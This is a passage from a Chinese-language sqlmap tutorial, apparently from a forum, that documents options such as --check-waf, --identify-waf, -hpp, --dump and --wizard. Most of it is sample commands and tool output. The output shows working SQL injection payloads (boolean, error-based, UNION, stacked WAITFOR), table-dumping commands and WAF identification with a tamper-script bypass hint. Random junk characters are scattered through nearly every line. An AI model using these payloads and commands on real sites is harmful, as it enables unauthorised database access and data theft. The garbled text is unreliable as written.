Meterpreter session 1 closed. Reason: User exit 6 D1 V. x- z& h7 }# D 1 Z9 T n, v% I, m+ p* Z1 S默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。. F$ `/ c3 ]; s1 X
- X3 Z7 F, Y* [5 o* r[...]# H) @7 M7 y5 ]6 `% w, L
[xx:xx:14] [INFO] fetching banner+ R' Q% H9 t, F& @# E
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 2 f, b: x9 ? q. f[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' . F# k0 r5 h4 }- `( ~# Q' b/ X# l[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by; r: N5 ] f. Q% r
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2& B* C' S8 o& e: _8 G& c0 x) }% H
[...] 9 W" t: ^% ^$ f- E6 D @5 _) c# |! _4 }
自定义输出的路径( T4 ] i" @4 m Q7 J7 X, q# b
, A1 ~( |7 z( z# Z) t参数:--output-dir2 t# i. ^2 Z) h0 W* t
" {1 R/ o1 X6 [: M' a5 {7 m! I; O' a osqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp" G% t+ |5 u% m/ ^
从响应中获取DBMS的错误信息, X* ?6 m+ C9 y! F0 `6 L% D% S
( J8 q& i7 Q( }1 R3 ?; j1 S3 E
参数:--parse-errors " n* k/ c& E8 z' b" \6 M, c* _" M4 Q) _0 C/ `+ ^
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 . u% D3 {! d6 o! [( n9 v 4 V9 r( M4 L9 b" I$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors- E, S& a0 I1 j. V5 j. F
[...]! e5 o3 V8 }3 T2 u
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test* _' g; P# p( ?
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)7 t3 l! A5 D* g, N* k: v; {
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list., Y2 \$ v' M* z: i
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'7 f+ h4 R6 V5 r& o( r
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14). K" I3 T9 \/ ^& _
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.' d1 F& i3 N* x0 ^* E5 \4 G
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'" m9 N* h5 c9 [
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)( O) o/ \/ f4 g
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.; H8 Y# d( F0 H# \) d. T8 B- a$ `
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' + y w0 ~; Q9 i W[11:12:17] [INFO] target URL appears to have 3 columns in query6 W- L: u3 a' r3 T1 Z8 O
[...] ' O( {* H, p- x% r F& R( U$ K1 }$ d9 C4 f1 }- D" X) l
其他的一些参数( p) t0 t9 B o0 o; f
使用参数缩写8 l7 O& c+ ?0 v# e: Y1 U
* C+ ~8 w/ y! i8 Z
参数:-z ( W/ a$ s, l4 O9 m" M) a1 v1 U y R# h; Z
有使用参数太长太复杂,可以使用缩写模式。 例如: / M2 `( d6 S7 J2 a; k( M & E2 X, S S$ z rpython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" 3 O+ Y b# p. i U0 t# U4 B8 ]8 C* u$ P' a$ K
可以写成: 9 g/ i" i+ M, u Q5 z' o. e7 q- \4 J8 S4 }. D) I' X
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" ; N S) B, H, g; P( y
; _4 z% H3 _9 b% t9 _
还有: : Y- |2 F9 k; t, A% Z ! c, m( {# h6 c( `* `2 g6 O% [python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" ) B$ m' f7 ]4 K' X! k " j% @! w5 N" ]9 u* [0 D$ p' g可以写成: 7 E$ S" t. d3 C3 j8 w 1 ]2 H- K& g5 |7 m. [" F% Apython sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"+ ~% o! `+ G% c
5 v2 [) e4 l [1 j& O
成功SQL注入时警告 + y; Z1 w9 P6 N3 P3 }" h8 M" w. n* U% U1 b
参数:--alert: D% O* }; {( H7 I9 l. u
设定会发的答案+ N8 ^/ b, M! i7 k! I
! O9 a& n/ T9 j% C* s& c
参数:--answers/ r h0 S) g; ~" g. I4 }
1 @6 A, P e7 T. E- N当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子: / u8 l: |) h3 |2 a& k$ H( E8 H; e. J% o' t
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch% @1 V( h6 P! ~* h; V1 l
[...]1 G: `9 g: Z7 {
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' . P) t/ o" }. |: k$ v1 P5 ?, a& _heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ) P# B0 j# _9 b0 E1 V8 Q* _: f[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N; j _* a6 G) ?9 P9 O6 m
[...] # t* B# H2 k! \: O2 x# _* y7 a 2 |3 k, P2 j( k1 L! w: U' v- L发现SQL注入时发出蜂鸣声% U- t7 U. F4 R! U- ~5 ^7 f
" S: l. F" e2 u9 _# M, U3 U4 `参数:--beep ; B. w' W4 p" s3 d# \. U$ n% w& b/ w( t3 h
发现sql注入时,发出蜂鸣声。) f# b+ Y; ]2 n" a( P
启发式检测WAF/IPS/IDS保护 2 `5 |* z; J% a1 h9 t# \8 Q9 r& o+ d E
参数:--check-waf! b) K' @( [( O, b1 a$ [$ A
4 S7 {0 d! q3 B/ Q1 f% _3 {WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试 6 L3 m9 g7 o2 y, C& U3 J * q* b) F8 z$ s/ K, ~6 C# v6 G例如:. N6 ^; Y. @- |& X6 e* d) C# m; A- t
& d+ r$ s5 e& x+ v: p7 [7 V( D' G& h$ `
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1 ( A0 R( {/ ]$ s7 ]% q1 }1 a ! Z0 n7 X3 M/ Q4 x: S如果有保护的话可能返回结果会不同。; c6 b! V& d4 C3 F" W3 A# i) C
清理sqlmap的UDF(s)和表 1 d" U6 B! F0 L9 m- c% G$ q# M* B' k) u
参数:--cleanup 3 j, D3 q% V* J- V, ~& A2 \" r2 K- ^( t% V5 [/ G
清除sqlmap注入时产生的udf与表。+ h/ q3 ~1 @ l
禁用彩色输出 3 ^/ d: _# k. n# H. l% g. Z. N; u, O! S
参数:--disable-coloring 4 X" P# O% e1 }( L, h [7 U # H9 t( Q* Y; J4 ] o# m( s9 xsqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。1 m1 d9 z4 B' L: _: X: d) v
使用指定的Google结果页面 5 g' |8 y- y% L9 ^) T% V& X& G5 Q+ i( }) f4 n9 m
参数:--gpage: Y1 V, [' I( \' s3 E* C% a, ^- k
+ I8 W/ [! F- n" r2 F3 c @默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。 , J' V# I/ w, j0 U5 E, j使用HTTP参数污染* s2 Z* l/ [2 k- J, O! z, P
L1 d0 ]8 b2 a1 L4 N参数:-hpp 4 n9 ?# j! R3 r3 z0 i' @& K / K1 }! U# h6 ^2 gHTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。 1 T/ o" U8 a- l, I0 L* d# ?测试WAF/IPS/IDS保护 9 ^# O/ P6 a0 {3 l0 p 0 n ~! K* G' S" U参数:--identify-waf- l1 D& E# T6 K' P+ ^; n
6 ]+ j/ {) C* G# y
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。 $ ^. @4 h9 V+ u* i' N6 Z3 `$ e* ~& y/ G
例如对一个受到ModSecurity WAF保护的MySQL例子: ( D; `0 d* x! x5 F$ Q& [4 V: s2 y7 Z+ \2 F
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 ! Q! A4 g( g! P o' R, i[...] . A" N2 }5 g) [" k* P: R& b9 h) j[xx:xx:23] [INFO] testing connection to the target URL % v5 k) T0 U) [( V$ j i[xx:xx:23] [INFO] heuristics detected web page charset 'ascii' * G8 Z3 Z, b+ m* f[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection 2 N0 H. ?9 C0 b% i+ q" ~8 e[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)' . g( w; `/ i3 Y, k O9 U9 w9 t[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)' " t' w- N. h; _3 T7 ][xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'. h7 M$ H( b* ^
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'* R0 W9 c8 q: e& {! Z
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'5 r( d: q0 j& Z K0 R5 Q
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'# s# B& N" d6 n# ]1 l
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'6 Q! T1 z0 |2 _( \
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'- r- ?) G4 h2 W/ I( S. k
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)' + q1 q( b1 v: J' h2 i/ ^[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'1 k% A9 W l! g" |% j# [% q/ C
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)') v/ m: S6 h5 x8 b
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'3 v: ]" L* J5 e. e! u
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)' 9 x) H* j. s' _5 q; N" m[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'* F' t% ]- g) f6 f
[xx:xx:23] [DEBUG] page not found (404)4 L9 @( y5 W! g0 x% g; }
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'' j k i1 n7 K/ G* E
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' ' g$ Q% x4 [% @2 c! B6 K[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'4 \0 q, g8 }" V; l4 S; J: t6 P
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'$ l7 v! b6 q$ y! [1 s
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' 0 m' H# }: ]& W[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'/ g; R: j. f4 ~+ p
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')4 F6 d. Z @# S( J- c% @9 U1 q; z
[...] ! D0 W' W- c9 z& D b 3 v5 J# N/ s1 y( u5 T4 d( N模仿智能手机8 Q$ x9 }0 d* y: P8 |4 z
0 `9 l; P5 R! I. q; a y
参数:--mobile1 f' s3 e( k% m% D% O6 n' W
9 g2 q3 ]: ?" m( `! r* |有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 W, j$ [& d( M4 m* c" {2 D$ h B 4 [0 x E1 e5 v2 {0 G例如: 7 I; o6 ~4 O* Y6 t/ Y! D/ V- l: q
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile' Y+ M! r5 x5 z, c) Z( @) X0 `
[...]# y/ k2 V9 N! G" F/ D2 N
which smartphone do you want sqlmap to imitate through HTTP User-Agent header? ( L: K% j5 ^5 s[1] Apple iPhone 4s (default) 7 E$ V: @1 R. J* S7 y[2] BlackBerry 9900- r* F4 x1 w1 j1 z: d
[3] Google Nexus 7 0 ?, ?" b1 Z9 [: Q3 {[4] HP iPAQ 6365 # ]8 t, n4 {; L[5] HTC Sensation q3 T' Z+ a8 d2 B) U[6] Nokia N97 6 Z3 H1 c. h$ e- M+ Q7 P7 o; Y[7] Samsung Galaxy S' r- X- o E# ^$ U9 K% U. q2 p! S8 N
> 1 : G/ j; r4 R5 {) M, T, B[...], Y) o! p% s( r! h& ^ a6 Z K
" Z! y* j" F) S4 l安全的删除output目录的文件8 z: o9 d3 q9 p' r$ c7 Z
5 p8 U! B% [3 n% b
参数:--purge-output: [: v4 s( C) R/ @6 o
2 \' c; E- n9 ]7 m* ]7 }
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。3 u$ I/ |6 k4 j# s+ A, s
. y+ q& X, V7 O8 i- `
例如: 1 ?. [" b+ I$ w ) @ y0 m5 ?+ W) e! k% d+ E7 o+ y$ python sqlmap.py --purge-output -v 38 q' y( B& P0 o
[...]; w- f, ?: x) c* L7 H. O6 M" j
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...& I1 j7 t5 c) u1 p& O, S- f; f/ V
[xx:xx:55] [DEBUG] changing file attributes N0 g, M! B, H! v. R
[xx:xx:55] [DEBUG] writing random data to files( Z7 A/ t- |5 d& T
[xx:xx:55] [DEBUG] truncating files ! K) q4 @* t# ~4 H" \[xx:xx:55] [DEBUG] renaming filenames to random values9 Q4 z8 m+ x# j# n" T Q9 r
[xx:xx:55] [DEBUG] renaming directory names to random values 0 p0 D4 l) g$ h9 N[xx:xx:55] [DEBUG] deleting the whole directory tree) p z W( t( ?- ]! ?1 _
[...]& F4 W7 H* L- v$ o7 v: | S
& Q( e3 C, N5 b" ~3 O
启发式判断注入. [' L) D4 a1 N
' u! d9 C, G: e |参数:--smart/ m: @- O: r N2 {7 ^; n
/ L. u; {- e# u R: z
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。& f5 `0 C* ` y {$ G9 [2 M
/ `4 [: u3 a5 z+ M6 Y# E例子:! w1 Q4 x$ @2 V8 }% F
7 [2 K) b7 g/ |% a, X$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart - o) _" w' d( J9 W7 T3 M[...]7 x9 I. s1 m7 ?" y6 D) t3 U* ]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic( h4 z+ F _, R) u
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic6 S3 |, q _# w
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable7 Y; u3 t, h$ i/ ^4 n* T) B
[xx:xx:14] [INFO] skipping GET parameter 'ca'; V: P& A( o$ d2 ~3 B, l
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic* n6 r# ?: h: X, t0 X
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic , B7 N, Z! ?/ h[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable " q; K3 o* F5 k7 q. {, _# j5 V, u[xx:xx:14] [INFO] skipping GET parameter 'user' & r2 |$ n5 x8 d( u[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic6 [: i! r: O2 i4 N; Q, S P
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic # \. O0 b$ A+ X4 s[xx:xx:14] [INFO] GET parameter 'id' is dynamic 6 z4 L+ n2 p" Y9 Z( {) k[xx:xx:14] [WARNING] reflective value(s) found and filtering out. w9 t: t, G- U: G1 v2 K* U9 v
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')) V2 I& `. R7 e; |
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' * ]9 q/ U* W; F, kheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y : l3 L; c: R) [1 ~! k N' |do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y4 _6 g9 d& O/ e. a
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'* H1 z, [# K7 V
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable . e8 r: }6 k6 a+ N) N# Y9 T
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 1 G. `& {& W( q& q6 \) |9 C[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable - O$ i' A9 C, x3 o& |6 l: q9 M[xx:xx:14] [INFO] testing 'MySQL inline queries'- t1 W& J7 `4 }0 j$ P2 a5 q7 I
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'1 Q; k$ A- \% `- o) b% ~7 L- s
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'0 K# `% Q* j3 f4 e: f1 O6 G+ s
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'( }& x! K# {7 e" S# D1 V
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable " a; o* Q' U* N; t! U2 B% ~, v( X
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns') [1 Z" S: Y+ b* b2 t8 ^+ H- ]% I8 ]' W- a
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found , ^/ \8 ?: h# G: Q" W0 r9 n[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test- K; O6 H, x1 D$ m3 b$ Z' C9 b
[xx:xx:24] [INFO] target URL appears to have 3 columns in query ( x6 u1 D) a$ G T4 e# U- E, K[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable & O* C3 e6 O/ e( q/ O[...] C3 y- t0 B. V* C " C, @; z* ^& y8 k初级用户向导参数$ y2 a( k* T3 F. d0 N
4 T7 c6 U( V# {
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 ( W, w K, p# Q. N+ ]! @; i' Q* v; s) P9 o3 m" S
$ python sqlmap.py --wizard1 c0 c' u6 y2 B2 {* j/ B
1 b, X. n" [# y8 T* d$ A$ K
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool, d7 K% A" Y3 V5 @+ u8 T* V
3 X' ]2 N* [1 Q* z5 d4 R% J
http://sqlmap.org ; f2 |8 z/ O2 @! n1 M$ a6 B4 }" { 9 A0 m0 s; d. e[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program $ z4 S0 q2 K t0 i! y3 v
starting at 11:25:26: x, q% H' t! h P9 [+ @- Y% z
! ~: ~' |9 `) A2 CPlease enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1$ J9 |0 w* r3 N
POST data (--data) [Enter for None]: ! h/ W5 P ?4 }# c- U$ w9 c
Injection difficulty (--level/--risk). Please choose:& ` `- x9 k6 C2 I
[1] Normal (default)& W# R/ M( v4 z! P' x. y
[2] Medium- D3 I- q8 d0 i6 m' c
[3] Hard1 T. k3 _% [3 ]
> 1 5 t: f+ z" O. Y$ c2 G5 e% zEnumeration (--banner/--current-user/etc). Please choose: K, q0 ?7 X6 P/ M& r; O
[1] Basic (default)3 Y/ j' c$ X" e" v
[2] Smart ; L& t/ t9 z* n& i( i" u[3] All " r6 d, S1 ~* ~+ B0 f$ d> 1- `+ N+ C5 f% ~! |9 n. r: z3 s. b
! q/ |: b- b( x4 H) ]sqlmap is running, please wait..$ s; n! o' c1 R/ K) B3 L) s
) M# r! `2 \, h3 C+ Dheuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y* [! m. m1 \2 V% H6 e3 e
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y9 s6 V" f6 f' v( b$ R/ x
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N ; [- l0 B) ~: {2 e7 fsqlmap identified the following injection points with a total of 25 HTTP(s) requests: , l# {! E R: @5 S--- & x1 F$ J& K+ R4 {- E3 RPlace: GET / X& R( M/ B. e9 v2 w! K7 BParameter: id - y& z0 w7 w' G. u& p" @+ \+ A Type: boolean-based blind ' v* J* g' d8 ^. j2 s1 O Title: AND boolean-based blind - WHERE or HAVING clause% T1 `9 X0 U# w. D C! d
Payload: id=1 AND 2986=2986 ' s$ m l" g6 w3 p$ h- J$ R- L8 x + O* z& v% ^$ c$ {" Q$ L) n0 O Type: error-based ' g1 Z( l/ C O. z& r, O( g( ] Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause _6 I0 [+ S# Q, k$ [5 M I Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) . K. G b q% X) w $ i( o5 |& {0 U+ B" y Type: UNION query/ l! A" v, Q, v7 m
Title: Generic UNION query (NULL) - 3 columns2 G9 d! \( ~ Q+ ~( F' C: }: b8 k
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- % U+ [ B: j% d1 K; U$ E7 v
7 ~' n$ ]* ~; f, s2 q5 \6 z
Type: stacked queries K% o, V A- [5 D! r1 d% L
Title: Microsoft SQL Server/Sybase stacked queries+ h. U" e4 c: _( Z; ?+ r! T
Payload: id=1; WAITFOR DELAY '0:0:5'-- % g* H8 j6 w# R+ @' }! d* V5 {: t1 B7 m7 C, k. f) t+ m
Type: AND/OR time-based blind0 c& p0 u% U3 ]% Z
Title: Microsoft SQL Server/Sybase time-based blind $ ~! r! f. k% c: F Payload: id=1 WAITFOR DELAY '0:0:5'--. s2 l7 l$ k' g b, D0 `, g
' v' C3 N+ A% T0 x% \: W Type: inline query& i) \/ w1 f3 d
Title: Microsoft SQL Server/Sybase inline queries* s3 N. s; J( P( ^
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) + [: b! R- Z6 G' R$ Y Z---, m: T3 P7 s& E$ @8 E' E: Y8 g0 ^2 n
web server operating system: Windows XP 9 }6 X6 v, P! g- q! fweb application technology: ASP, Microsoft IIS 5.11 }* f8 v/ y: u) l+ a/ G% s
back-end DBMS operating system: Windows XP Service Pack 2* ~- ~& `& ]' s+ |8 x: F( V1 A- e
back-end DBMS: Microsoft SQL Server 2005 0 E+ @% Y n+ l3 Vbanner:! w: P" K a, b8 A
--- ' V) B: k# `( S3 ?Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) ) G/ r+ {: r; M& D: c# h( i' Q
Oct 14 2005 00:33:37 ) }. d3 V- d& I; T
Copyright (c) 1988-2005 Microsoft Corporation * D, i8 U/ g* U6 I( J. \5 K Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)4 ^% l6 c- ]0 V* R1 R/ z O2 V
---: C$ g9 q: R, u
current user: 'sa'5 v$ o# S. {* R" q/ F6 B' B
current database: 'testdb' ( b' I. T I' Q9 x: j* S& V; Ucurrent user is DBA: True